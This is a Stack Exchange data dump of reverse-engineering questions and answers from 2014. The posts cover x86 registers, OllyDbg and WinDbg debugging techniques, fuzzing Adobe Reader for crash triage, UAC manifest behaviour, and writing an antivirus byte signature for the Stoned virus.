  <row Id="4370" PostTypeId="2" ParentId="4362" CreationDate="2014-05-18T18:17:40.390" Score="2" Body="&lt;p&gt;To answer properly your question, yes. &lt;code&gt;xmm&lt;/code&gt; registers were introduced by Intel with the &lt;code&gt;SSE&lt;/code&gt; instruction set (IS) in 1999 with the Pentium III CPU. &lt;code&gt;SSE&lt;/code&gt; stands for Streaming SIMD Extension and is a set of vector instructions. &lt;code&gt;xmm&lt;/code&gt; registers are 128bit wide and can hold 4 &lt;code&gt;floats&lt;/code&gt;, 2 &lt;code&gt;doubles&lt;/code&gt;, or 16 &lt;code&gt;chars&lt;/code&gt;. &lt;code&gt;SSE&lt;/code&gt; can speed up signal processing applications (image processing, sound processing, compression, ...), encryption, and others quite dramatically when used properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, &lt;code&gt;mm&lt;/code&gt; registers are part of the &lt;code&gt;MMX&lt;/code&gt; IS, another vector instruction set older than &lt;code&gt;SSE&lt;/code&gt; (1997 I suppose), and are 64bit wide. &#xA;Nowadays the vector instruction sets are becoming quite a &lt;em&gt;fashion&lt;/em&gt; in a certain way (vector &lt;code&gt;CPUs&lt;/code&gt; were the standard for supercomputers back in the 70s &amp;amp; 80s - Cray's, ThinkingMachine's, ... computer were all vector based). In the past few years, Intel came up with many versions of &lt;code&gt;SSE&lt;/code&gt; and two new IS called &lt;code&gt;AVX&lt;/code&gt; &amp;amp; &lt;code&gt;AVX2&lt;/code&gt; (Advanced Vector Extension) with 256bit wide vectors implemented on SandyBridge/IvyBridge/Haswell, and &lt;code&gt;AVX-512&lt;/code&gt; first implemented on the KNC (Knight's Corner) of the Xeon Phi processor &amp;amp; co-processor line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I encourage you to check the Intel documentation &amp;amp; Wikipedia for more information.   &lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2014-05-18T18:17:40.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4371" PostTypeId="2" ParentId="4361" CreationDate="2014-05-18T18:39:46.673" Score="3" Body="&lt;p&gt;Segment registers were historically used to allow 16-bit code to address more than 16 bits (64KB) of address space. Code could be pointed to with the CS segment, data with DS, etc. FS was an &quot;extra&quot; segment that could be used however necessary. You can read more about segmentation &lt;a href=&quot;http://en.wikipedia.org/wiki/X86_memory_segmentation&quot; rel=&quot;nofollow&quot;&gt;on wikipedia&lt;/a&gt;. Modern architectures don't use segment registers, with the exception of FS and GS.&lt;/p&gt;&#xA;" OwnerUserId="4535" LastActivityDate="2014-05-18T18:39:46.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4372" PostTypeId="1" CreationDate="2014-05-18T22:29:28.247" Score="1" ViewCount="1934" Body="&lt;p&gt;I'm trying to analyze a piece of code, I'm confused about the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CALL  fct.00402589&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then after that, I come across a block beginning with RETN.(See below)&lt;br/&gt;Here are a couple of lines of that code-block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RETN&#xA;NOP&#xA;PUSH EBP&#xA;MOV EBP,ESP&#xA;LEA ESP, DWORD PTR SS:[ESP-0X2D0]&#xA;PUSH ESP&#xA;CALL ntdll.RtCaptureContext&#xA;......&#xA;......&#xA;INT 3 &#xA;NOP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So as I said, after the call I am in the line RETN. But when I want to go further(click on the &quot;step over&quot;-button of ollydbg) then it jumps back to the next line after the call-instruction.&#xA;In the line before the last instruction &quot;NOP&quot;, there is the instruction INT 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have figured out that in some cases, especially as anti-debugging technique, the program inserts the opcode 0xCC of INT 3 to confuse the debugger. The debugger thinks that it is a breakpoint because normally, the debugger uses OxCC to set breakpoints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I change the debugging options of ollydbg (Options -&gt; Debugging Options -&gt; Exceptions and then click the INT 3 breaks-Box). From now on, the debugger does not trap the exception, it passes the exception to the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I start the program again, and come to the call-instruction, then the following appears(again i copy some lines):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JMP DWORD PTR DS: [&amp;lt;%crtdll._GetMainArgs&amp;gt;] &#xA;NOP&#xA;NOP&#xA;ADD BYTE PTR DS:[EAX], AL&#xA;ADD BYTE PTR DS:[EAX], AL&#xA;JMP DWORD PTR DS: [&amp;lt;%crtdll._strcmpi&amp;gt;]&#xA;NOP&#xA;NOP&#xA;ADD BYTE PTR DS:[EAX], AL&#xA;ADD BYTE PTR DS:[EAX], AL&#xA;JMP DWORD PTR DS: [&amp;lt;%crtdll._atoi&amp;gt;]&#xA;NOP&#xA;NOP&#xA;ADD BYTE PTR DS:[EAX], AL&#xA;ADD BYTE PTR DS:[EAX], AL&#xA;JMP DWORD PTR DS: [&amp;lt;%crtdll._exit&amp;gt;]&#xA;NOP&#xA;NOP&#xA;ADD BYTE PTR DS:[EAX], AL&#xA;ADD BYTE PTR DS:[EAX], AL&#xA;JMP DWORD PTR DS: [&amp;lt;%crtdll._memcpy&amp;gt;]&#xA;NOP&#xA;NOP&#xA;----&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And so on, has anyone a clue? Or can someone explain me what is going on here?&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="4665" LastEditDate="2014-05-19T04:50:19.267" LastActivityDate="2014-05-20T15:28:03.413" Title="After a CALL instruction, jumping to RETN" Tags="|ollydbg|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4373" PostTypeId="2" ParentId="4337" CreationDate="2014-05-19T06:21:35.380" Score="3" Body="&lt;p&gt;Did you try debug IDA?  You may save your work via IDA &lt;a href=&quot;http://www.hexblog.com/?p=415&quot; rel=&quot;nofollow&quot;&gt;snapshot&lt;/a&gt; feature.&lt;/p&gt;&#xA;" OwnerUserId="4669" LastActivityDate="2014-05-19T06:21:35.380" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4374" PostTypeId="1" CreationDate="2014-05-19T10:38:15.283" Score="6" ViewCount="2305" Body="&lt;p&gt;I have been fuzzing Adobe Reader lately. I found couple of bugs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the major issues that I'm facing are listed below.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How to identify the root cause of the issue? I mean, the PoC has a large number of modification and it's not easy to change each block and test. So, it's very difficult to find the bytes that caused the crash.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have been studying Taint Analysis and Symbolic Execution driven Fuzzing and vulnerability research.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use IDA pro for my RE work. Is there any good plugin that does that task. I know about &quot;tree-cbass&quot; &lt;a href=&quot;https://code.google.com/p/tree-cbass/&quot;&gt;https://code.google.com/p/tree-cbass/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm unable to use it efficiently. I would like to get inputs and tips from experienced vulnerability researchers and exploit developers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to pursue my career as vulnerability researcher and have a little knowledge in this domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4671" LastEditorUserId="304" LastEditDate="2014-05-19T11:16:54.793" LastActivityDate="2016-01-22T08:59:34.107" Title="Fuzzing Adobe Reader - Exploit Development" Tags="|exploit|fuzzing|vulnerability-analysis|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4375" PostTypeId="2" ParentId="4374" CreationDate="2014-05-19T15:26:59.807" Score="2" Body="&lt;p&gt;First of all you should write script to lower the difference between your mutated(fuzzed) file and original in order to know the main byte/bytes that make program crash. This would be a byte by byte compare,change,check to make sure you have the minimal difference needed to crash the app.(It's possible that you found new crashes this way. believe me!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second part would be mixing your code with debugger that can check if lowered file is still crash-able or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you choose Python for this work, it can be done in couple of hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. check WinAppDbg, PyDbg, PyDbgEng and etc.&lt;/p&gt;&#xA;" OwnerUserId="3119" LastActivityDate="2014-05-19T15:26:59.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4376" PostTypeId="2" ParentId="4372" CreationDate="2014-05-19T15:33:35.480" Score="2" Body="&lt;p&gt;The &lt;code&gt;int3&lt;/code&gt; that you see in your disassembly exists for the purposes of debugging, because it is hit when there is a bug in the executing code.  It is intended to transfer control to a debugger in order to present the user (i.e. developer) with a more meaningful information about the location and possibly the cause of the problem.  In the absence of a debugger, it will force termination of the program to occur, which is the safest possible action.  For example, in the case of heap corruption, continued execution could result in exploitation and execution of arbitrary code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other reasons for &lt;code&gt;int3&lt;/code&gt; instructions to appear - they can be unused padding between routines, particular for hot-patch-aware functions, among other things.  The presence of &lt;code&gt;int3&lt;/code&gt; is not always an indication of anti-debugging techniques.  In fact, it could be said that it is more likely to be not an anti-debugging technique at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: after your comment clarified your question a bit better - what you're asking about is not a jump to a return, but a jump to a routine that returns.  That's quite different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, a call to a routine leaves the return address on the stack.  That return address is the line immediately after the call instruction.  When a routine executes the ret instruction, the code resumes after the call.  The jump instruction is merely a transfer of control to a routine which will return, allowing the code to continue executing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A transfer of control to an exit() routine, irrespective of the name, does what it suggests: it causes the process to terminate.  If you are tracing through code and you hit that, then the process is done.  If you think that it should do more, then you need to watch the code that executed prior to that transfer of control.  Perhaps the program expects particular command-line options to be set, in order to do any work.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastEditorUserId="1323" LastEditDate="2014-05-20T15:28:03.413" LastActivityDate="2014-05-20T15:28:03.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4377" PostTypeId="1" AcceptedAnswerId="4380" CreationDate="2014-05-19T18:56:12.923" Score="4" ViewCount="5542" Body="&lt;p&gt;Lets say I want to find all the&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV EAX, 1234h&#xA;MOV WORD PTR[EBP+ADDR], AX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it won't be always &lt;code&gt;EAX&lt;/code&gt; or &lt;code&gt;EBP+ADDR&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I wildcard search like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV ???, 1234h&#xA;MOV WORD PTR[???+ADDR], ??&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV ANY, 1234h&#xA;MOV WORD PTR[ANY+ADDR], ANY&#xA;&#xA;MOV ?, 1234h&#xA;MOV WORD PTR[ANY+ADDR], ?&#xA;&#xA;MOV r32, 1234h&#xA;MOV WORD PTR[r32+ADDR], r16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;None of these patterns compile in Ollydebugger how do I do this? (I would like to avoid scripts for such a easy task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This one below compiles and works,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV r32, 0x1234&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but how do I combine it with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV WORD PTR[r32+ADDR], r16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3510" LastEditorUserId="3510" LastEditDate="2014-05-19T19:02:28.933" LastActivityDate="2014-05-19T20:06:44.983" Title="OllyDebugger How to use Find Sequence of commands with wildcard 32bit registers" Tags="|ollydbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4379" PostTypeId="2" ParentId="4377" CreationDate="2014-05-19T19:14:49.477" Score="2" Body="&lt;p&gt;Nevermind this don't work right.. it has to find the constant in both areas for it to find the WORD PTR.. and that's not the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I solved it differently don't really need Sequence of commands,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All Constants works nearly the same (just more stuff to look though and it's all sorted so I would see the &lt;code&gt;WORD PTR&lt;/code&gt; right under it if it's what i'm looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IlcGA.png&quot; alt=&quot;1&quot;&gt;&#xA;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mmHx3.png&quot; alt=&quot;2&quot;&gt;&#xA;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oT8OY.png&quot; alt=&quot;3&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3510" LastEditorUserId="3510" LastEditDate="2014-05-19T19:42:40.010" LastActivityDate="2014-05-19T19:42:40.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4380" PostTypeId="2" ParentId="4377" CreationDate="2014-05-19T19:40:32.793" Score="3" Body="&lt;p&gt;&lt;code&gt;ollydbg 1.10&lt;/code&gt; right click &lt;code&gt;Search For All Sequences wildcard&lt;/code&gt; &lt;strong&gt;MOV R32 , CONST&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;result from calc.exe xp sp3 32 bit vm&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Found sequences&#xA;Address                    Disassembly                            Comment&#xA;01001004 &amp;lt;&amp;amp;ADVAPI32.RegQu  DD      ADVAPI32.RegQueryValueExA      (Initial CPU selection)&#xA;010019E5                   MOV     EDI, OFFSET calc.ghnoParNum    01014C08=OFFSET calc.ghnoParNum&#xA;010019EF                   MOV     EDI, OFFSET calc.ghnoPrecNum   01014C70=OFFSET calc.ghnoPrecNum&#xA;01001A6B                   MOV     EBX, calc.010012A0             UNICODE &quot;intl&quot;&#xA;01001D51                   MOV     ESI, 130&#xA;01001DDF                   MOV     EAX, OFFSET calc.szBlank       01014DA4=OFFSET calc.szBlank&#xA;01001DE6                   MOV     EAX, calc.01001264             UNICODE &quot; M&quot;&#xA;01001F51 calc.WinMain      MOV     EAX, calc.010128EE             10128EE=calc.010128EE&#xA;01001FED                   MOV     ESI, 400&#xA;010020A2                   MOV     EAX, calc.010020A8             010020A8=calc.010020A8&#xA;010020D5                   MOV     EAX, 80000000&#xA;0100210A                   MOV     EDI, OFFSET calc.szAppName     UNICODE &quot;SciCalc&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;combined wild card &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MOV WORD PTR [R32+CONST] , R16&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Found sequences&#xA;Address        Disassembly                                     Comment&#xA;01001F6E       MOV     WORD PTR SS:[EBP-FC], BX&#xA;01002234       MOV     WORD PTR DS:[EAX+EDX*2+14], DI&#xA;0100230D       MOV     WORD PTR DS:[ESI+EAX*2+14], DI&#xA;0100231C       MOV     WORD PTR DS:[ESI+EAX*2+A4], DI&#xA;01002358       MOV     WORD PTR SS:[EBP+EDI*2-108], AX&#xA;01002376       MOV     WORD PTR SS:[EBP+EDI*2-108], AX&#xA;01002470       MOV     WORD PTR DS:[ECX+EAX*2+C], BX&#xA;010024AF       MOV     WORD PTR DS:[ECX+ESI*2+C], BX&#xA;0100251D       MOV     WORD PTR DS:[EAX+ECX*2+14], DX&#xA;010025AA       MOV     WORD PTR DS:[ECX+EAX*2+14], DX&#xA;0100404D       MOV     WORD PTR SS:[EBP+EAX*2-74], BX&#xA;010056E0       MOV     WORD PTR SS:[EBP+8], AX&#xA;010056F4       MOV     WORD PTR SS:[EBP+A], BX&#xA;01012475 calc  PUSH    70                              (Initial CPU selection)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit to address comment&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you &lt;code&gt;dont need the WORD ptr&lt;/code&gt; simply doing&lt;br&gt;&#xA;&lt;strong&gt;mov [R32+CONST] ,R16&lt;/strong&gt;&lt;br&gt;&#xA;will fetch the same results&lt;br&gt;&#xA;ollydbg &lt;code&gt;implicitly knows R!6 means word ptr&lt;/code&gt; instead of R16&lt;br&gt;&#xA;if you provide &lt;code&gt;r32&lt;/code&gt; ollydbg will decode it as &lt;code&gt;DWORD PTR&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Found sequences, item 1&#xA; Address=010017E7&#xA; Disassembly=MOV     DWORD PTR SS:[EBP-2C], ESI&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;provide &lt;code&gt;mov [CONST} , R8&lt;/code&gt;  and you get back &lt;code&gt;all BYTE PTR&lt;/code&gt; Sequences&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Found sequences, item 1&#xA; Address=0100AC75&#xA; Disassembly=MOV     BYTE PTR DS:[ftrueinfinite], BL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2014-05-19T20:06:44.983" LastActivityDate="2014-05-19T20:06:44.983" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4381" PostTypeId="1" AcceptedAnswerId="4389" CreationDate="2014-05-20T03:56:17.213" Score="3" ViewCount="2002" Body="&lt;p&gt;Whenever I save an executable in OllyDBG (Right-click, Copy to executable, All modifications then Save File), the saved executable asks for administrator privileges when I run it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried opening OllyDBG as a regular user and then saving the file, but no luck. I also tried manipulating the file's permissions, but no luck either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to save a file so that regular users can run it?&lt;/p&gt;&#xA;" OwnerUserId="4679" LastActivityDate="2014-05-20T16:37:31.013" Title="OllyDBG causes executables saved by it to ask for administrator privileges when run" Tags="|ollydbg|executable|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="4383" PostTypeId="1" CreationDate="2014-05-20T08:35:48.830" Score="6" ViewCount="2465" Body="&lt;p&gt;I would like to ask if anyone knows how to solve the above mentioned problem I encounter. I was reverse engineering an apk, and met a part where static analysis with IDA Pro is not enough, so I thought that I could use the android_server provided by IDA Pro to debug the .so library during runtime. However, I kept getting an error from IDA Pro when trying to attach to any process within my emulator: 'The debugger could not attach to the selected process. This can perhaps indicate the process was just terminated, or that you don't have the necessary privileges.' I used adb to push the android_server to my emulator, and then used adb shell and executed the script as root, but I'm still having this error. Any ideas on what am I doing wrong? Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="4680" LastActivityDate="2022-09-13T01:11:30.417" Title="IDA Pro 6.4 android_server processattach failed" Tags="|ida|debugging|android|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4384" PostTypeId="1" AcceptedAnswerId="4391" CreationDate="2014-05-20T10:22:15.640" Score="3" ViewCount="947" Body="&lt;p&gt;I want to break the debugee as it opens a known file, using &lt;code&gt;windbg&lt;/code&gt;. As &lt;code&gt;$scmp&lt;/code&gt; doesn't accept direct address, I have to use &lt;code&gt;as&lt;/code&gt; (&lt;code&gt;windbg&lt;/code&gt; alias command). So, I put a conditional breakpoint at &lt;code&gt;CreateFileA&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bu Kernel32!CreateFileA &quot;as /ma ${/v:fName} poi(esp+4);.echo ${fName};...;g&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It always prints the same (first) file name. I also tried script files&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bu ... &quot;$&amp;gt;&amp;lt; bpCmd&quot;&#xA;bu ... &quot;$$&amp;gt;&amp;lt; bpCmd&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;code&gt;bpCmd&lt;/code&gt; content:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;as /ma ${/v:fName} poi(esp+4);&#xA;.echo ${fName};&#xA;...&#xA;g;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It didn't work as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, why &lt;code&gt;as&lt;/code&gt; doesn't work in log breakpoints?&lt;/p&gt;&#xA;" OwnerUserId="4575" LastEditorUserId="4575" LastEditDate="2014-05-20T13:37:51.910" LastActivityDate="2014-05-20T19:57:09.460" Title="Windbg 'as' command in log breakpoint" Tags="|windbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4389" PostTypeId="2" ParentId="4381" CreationDate="2014-05-20T16:37:31.013" Score="1" Body="&lt;p&gt;UAC has certain heuristics that will cause a file to request elevation unless a manifest exists that states otherwise. Such heuristics include files that seem to be setup programs for some software. But there are more heuristics and other situations where elevation is assumed to be required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the executable has no manifest, you need to add one. Otherwise you may have to modify the existing one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can tell by loading it into a resource editor or resource viewer such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.angusj.com/resourcehacker/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.angusj.com/resourcehacker/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.resedit.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.resedit.net/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;... and so on. Check out the answers to this question: &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/2319&quot;&gt;Freely available resource hacking applications&lt;/a&gt; ...&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Workarounds are:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;this can be done by setting the value &lt;code&gt;level=&quot;asInvoker&quot;&lt;/code&gt; in element &lt;code&gt;requestedExecutionLevel&lt;/code&gt; of the manifest (see &lt;a href=&quot;https://superuser.com/questions/24631/prevent-elevation-uac-for-an-application-that-doesnt-need-it&quot;&gt;here&lt;/a&gt; and more generally &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/aa905330.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://www.codeproject.com/Articles/17968/Making-Your-Application-UAC-Aware&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;or if you don't have the requirement that the file be saved and can instead provide a script to launch it, you can set an environment variable (&lt;code&gt;set __COMPAT_LAYER=RUNASINVOKER&lt;/code&gt;) as explained &lt;a href=&quot;https://superuser.com/a/450503&quot;&gt;here&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Unfortunately this is somewhat of a science to get right.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2014-05-20T16:37:31.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4390" PostTypeId="1" CreationDate="2014-05-20T19:23:06.300" Score="1" ViewCount="102" Body="&lt;p&gt;A while back i e-mailed Hex-Rays about decompiling (obtaining pseudocode) from 16-bit functions ( 16bit code ). They replied in theory it can be done. Others have succeded,&#xA;but Hex-Rays themselves have never tried it. Does anyone have any leads?&lt;/p&gt;&#xA;" OwnerUserId="4069" LastActivityDate="2014-05-20T19:23:06.300" Title="In theory, Hex-Rays CAN Decompile 16-bit code. But how?" Tags="|decompile|" AnswerCount="0" CommentCount="3" ClosedDate="2014-05-20T21:55:04.123" ContentLicense="CC BY-SA 3.0" />
  <row Id="4391" PostTypeId="2" ParentId="4384" CreationDate="2014-05-20T19:57:09.460" Score="3" Body="&lt;p&gt;&lt;code&gt;The alias needs to be evaluated&lt;/code&gt; &lt;strong&gt;everytime&lt;/strong&gt; the break point is hit&lt;br&gt;&#xA;else it will print the old alias only&lt;br&gt;&#xA;to force alias evaluation` enclose the  .echo and other commands inside a &lt;strong&gt;.block{}&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;crefil:\&amp;gt;dir /b&#xA;CreateFile.cpp    &#xA;crefil:\&amp;gt;type CreateFile.cpp&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;int main (void)&#xA;{&#xA;    PWIN32_FIND_DATA lpFindFileData = &#xA;            (PWIN32_FIND_DATA) calloc(1 , sizeof( WIN32_FIND_DATA));&#xA;    FILE *fp;&#xA;    errno_t err;&#xA;    if (lpFindFileData)&#xA;    {&#xA;        HANDLE hFind = FindFirstFile(&quot;*.*&quot;,lpFindFileData);&#xA;        if ( hFind != INVALID_HANDLE_VALUE )&#xA;        {&#xA;            do&#xA;            {&#xA;                printf(&quot;%s\n&quot;,lpFindFileData-&amp;gt;cFileName);&#xA;                if ( (err = fopen_s(&amp;amp;fp,lpFindFileData-&amp;gt;cFileName,&quot;rb&quot;) ) == 0 )&#xA;&#xA;                    if (fp)&#xA;                        fclose(fp);&#xA;            }while( ( FindNextFile(hFind,lpFindFileData) ) != FALSE );&#xA;            FindClose(hFind);&#xA;            free(lpFindFileData);&#xA;        }&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as in windbg conditional breakpoint    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;crefil:&gt;cdb -c &quot;bp kernel32!CreateFileA \&quot;as /ma ${/v:fname} poi(@esp+4);.block&#xA; { .echo fname };gc\&quot;;g;q&quot; CreateFile.exe&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; cdb: Reading initial command 'bp kernel32!CreateFileA &quot;as /ma ${/v:fname}&#xA; poi(@esp+4);.block { .echo fname };gc&quot;;g;q'&#xA;.&#xA;..&#xA;CreateFile.cpp&#xA;CreateFile.exe&#xA;CreateFile.obj&#xA;CreateFile.pdb&#xA; vc100.pdb&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-05-20T19:57:09.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4393" PostTypeId="1" AcceptedAnswerId="4395" CreationDate="2014-05-21T06:21:27.400" Score="5" ViewCount="1705" Body="&lt;p&gt;I have a problem where I have to create a virus signature for the Stoned Virus (Although this could apply to any virus/file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume I have a copy of the compiled and decompiled program. I then proceed to identify the most important parts of the virus, that will always be present, in the code. As I understand it I now have to find the corresponding bytes in the compiled virus in order to create a byte signature for that critical part of the virus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I proceed to find the corresponding bytes in the compiled source from the code that I identified in the decompiled version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extra:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The code is in assembly&lt;/li&gt;&#xA;&lt;li&gt;Simply using a hash signature for the entire file is not an option&lt;/li&gt;&#xA;&lt;li&gt;Currently I only have the assembly code, but I can always compile this&lt;/li&gt;&#xA;&lt;li&gt;I am aware that Stoned would usually be located in the boot sector and not in a file. This is only an academic exercise and would be relevant to any virus.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose of this is to be able to create virus signatures that can be used to scan a file system to find infected files as well as possibly infected files and variations of the virus code. For this reason I cannot simply use a hash of the entire file and I need to use specific parts of the virus. I can identify those parts but I do not know how to find the matching bytes in the machine code for the viral parts I identified.&lt;/p&gt;&#xA;" OwnerUserId="4689" LastEditorUserId="4689" LastEditDate="2014-05-21T06:26:43.210" LastActivityDate="2014-05-21T08:43:40.397" Title="How to create a virus signature from decompiled source" Tags="|disassembly|assembly|byte-code|malware|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
